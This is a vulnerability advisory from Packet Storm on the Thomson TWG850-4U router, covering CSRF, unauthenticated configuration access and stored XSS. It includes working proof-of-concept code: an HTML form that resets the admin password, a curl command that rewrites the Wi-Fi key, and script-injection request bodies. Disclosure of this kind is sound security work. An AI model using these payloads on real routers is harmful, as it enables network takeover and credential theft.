Thomson Router TWG850-4U XSS / CSRF / Unauthenticated Access

2016-03-09T00:00:00
ID PACKETSTORM:136135
Type packetstorm
Reporter Sebastian Perez
Modified 2016-03-09T00:00:00

Description

                                        
                                            `[System Affected]  
Thomson Router  
HW Revision 2.0  
VENDOR Thomson  
BOOT Revision 2.1.7i  
MODEL TWG850-4U  
Software Version ST9D.01.09  
Serial Number 00939902404041  
Firmware Name TWG850-4U-9D.01.09-100528-S-001.bin  
  
[Vulnerabilities]  
1- Cross-Site Request Forgery  
2- Unauthenticated access to resources  
3- Persistent Cross-Site Scripting  
  
[Advisory Timeline]  
06-Jan-2016 - Vendor contacted through the website  
11-Jan-2016 - Email sent to vendor  
09-Mar-2016 - Public Disclosure  
  
[Description of Vulnerabilities]  
1- Cross-Site Request Forgery  
An attacker who lures a TWG850-4U user (authenticated or  
unauthenticated) to browse a malicious website can exploit cross site  
request forgery (CSRF) to submit commands to the wireless router and  
gain control of the product. The attacker could submit variety of  
commands including but not limited to changing the admin account  
password, the network settings, etc.  
All the application is vulnerable, for example it is possible to:  
Change user/password & Factory Reset  
- http://<Router IP>/goform/RgSecurity  
Change wireless settings  
- http://<Router IP>/goform/wlanPrimaryNetwork  
Restore a backup  
- http://<Router IP>/goform/RgBackupRestore  
Enable/Disable Advanced Options  
- http://<Router IP>/goform/RgOptions  
Store a XSS  
- http://<Router IP>/goform/RgTime  
  
[PoC for Change user/password]  
<html>  
<body>  
<form action="http://192.168.0.1/goform/RgSecurity" method="POST">  
<input type="hidden" name="HttpUserId" value="" />  
<input type="hidden" name="Password" value="admin" />  
<input type="hidden" name="PasswordReEnter" value="admin" />  
<input type="hidden" name="RestoreFactoryNo" value="0x00" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
2- Unauthenticated access to resources  
It is possible to perform actions within the router configuration  
without being authenticated; it's only required to know the proper  
urls and parameters. For example it is possible to:  
  
Wireless name and password in plain text  
- http://<Router IP>/GatewaySettings.bin  
Restore a backup  
- http://<Router IP>/goform/RgBackupRestore  
Change Advanced Options  
- http://<Router IP>/goform/RgOptions  
Store a XSS  
- http://<Router IP>/goform/RgTime  
Change user/password & Factory Reset  
- http://<Router IP>/goform/RgSecurity  
Change Wireless name and password  
- http://<Router IP>/goform/wlanPrimaryNetwork  
  
[PoC for Change Wireless name and password]  
curl -i -s -k -X 'POST' -H 'Content-Type:  
application/x-www-form-urlencoded' --data-binary  
$'PrimaryNetworkEnable=1&ServiceSetIdentifier=<Wireless  
Name>&ClosedNetwork=0&WpaPskAuth=1&Wpa2PskAuth=1&WpaEncryption=3&WpaPreSharedKey=<NEW  
KEY>&ShowWpaKey=0x01&WpaRekeyInterval=0&GenerateWepKeys=0&WepKeysGenerated=0&displayPrimaryROMsg=0&commitwlanPrimaryNetwork=1'  
'http://<Router IP>/goform/wlanPrimaryNetwork'  
  
3- Persistent Cross-Site Scripting  
Two instances of an store Cross-Site scripting were found within the  
router web interface.  
- http://<Router IP>/goform/RgTime [TimeServer1 Parameter]  
- http://<Router IP>/goform/RgTime [TimeServer2 Parameter]  
- http://<Router IP>/goform/RgTime [TimeServer3 Parameter]  
- http://<Router IP>/goform/RgUrlBlock [BasicParentalNewKeyword Parameter]  
  
[PoC #1]  
POST /goform/RgTime HTTP/1.1  
<..>  
  
TimeSntpDisable=2&TimeServer1=clock.via.net&TimeServer2=ntp.nasa.gov&TimeServer3=%22%3C%2Ftd%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&TimeZoneOffsetHrs=0&TimeZoneOffsetMins=0&ResetSntpDefaults=  
  
[PoC #2]  
POST /goform/RgUrlBlock HTTP/1.1  
<..>  
  
BasicParentalNewKeyword=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&BasicParentalKeywordAction=1&BasicParentalNewDomain=&BasicParentalDomainAction=0  
  
S3ba  
@s3bap3  
http://linkedin.com/in/s3bap3  
`